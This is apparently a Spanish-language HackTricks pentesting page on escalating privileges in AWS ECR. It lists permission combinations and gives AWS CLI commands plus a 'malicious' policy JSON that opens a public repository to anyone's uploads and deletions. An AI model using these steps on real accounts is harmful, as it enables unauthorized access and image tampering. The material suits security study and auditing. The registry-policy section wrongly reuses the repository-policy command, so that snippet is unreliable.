# AWS - ECR Privesc {{#include ../../../banners/hacktricks-training.md}} ## ECR ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` Un atacante con **`ecr:GetAuthorizationToken`** y **`ecr:BatchGetImage`** puede iniciar sesión en ECR y descargar imágenes. Para más información sobre cómo descargar imágenes: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} **Impacto Potencial:** Privesc indirecto al interceptar información sensible en el tráfico. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` Un atacante con todos esos permisos **puede iniciar sesión en ECR y subir imágenes**. Esto puede ser útil para escalar privilegios a otros entornos donde se están utilizando esas imágenes. Para aprender cómo subir una nueva imagen/actualizar una, consulta: {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` Como la sección anterior, pero para repositorios públicos. ### `ecr:SetRepositoryPolicy` Un atacante con este permiso podría **cambiar** la **política** del **repositorio** para otorgarse a sí mismo (o incluso a todos) **acceso de lectura/escritura**.\ Por ejemplo, en este ejemplo se otorga acceso de lectura a todos. ```bash aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` Contenidos de `my-policy.json`: ```json { "Version": "2008-10-17", "Statement": [ { "Sid": "allow public pull", "Effect": "Allow", "Principal": "*", "Action": [ "ecr:BatchCheckLayerAvailability", "ecr:BatchGetImage", "ecr:GetDownloadUrlForLayer" ] } ] } ``` ### `ecr-public:SetRepositoryPolicy` Como en la sección anterior, pero para repositorios públicos.\ Un atacante puede **modificar la política del repositorio** de un repositorio ECR Público para otorgar acceso público no autorizado o para escalar sus privilegios. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ "Version": "2008-10-17", "Statement": [ { "Sid": "MaliciousPublicRepoPolicy", "Effect": "Allow", "Principal": "*", "Action": [ "ecr-public:GetDownloadUrlForLayer", "ecr-public:BatchGetImage", "ecr-public:BatchCheckLayerAvailability", "ecr-public:PutImage", "ecr-public:InitiateLayerUpload", "ecr-public:UploadLayerPart", "ecr-public:CompleteLayerUpload", "ecr-public:DeleteRepositoryPolicy" ] } ] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` **Impacto Potencial**: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes. ### `ecr:PutRegistryPolicy` Un atacante con este permiso podría **cambiar** la **política del registro** para otorgarse a sí mismo, a su cuenta (o incluso a todos) **acceso de lectura/escritura**. ```bash aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` {{#include ../../../banners/hacktricks-training.md}}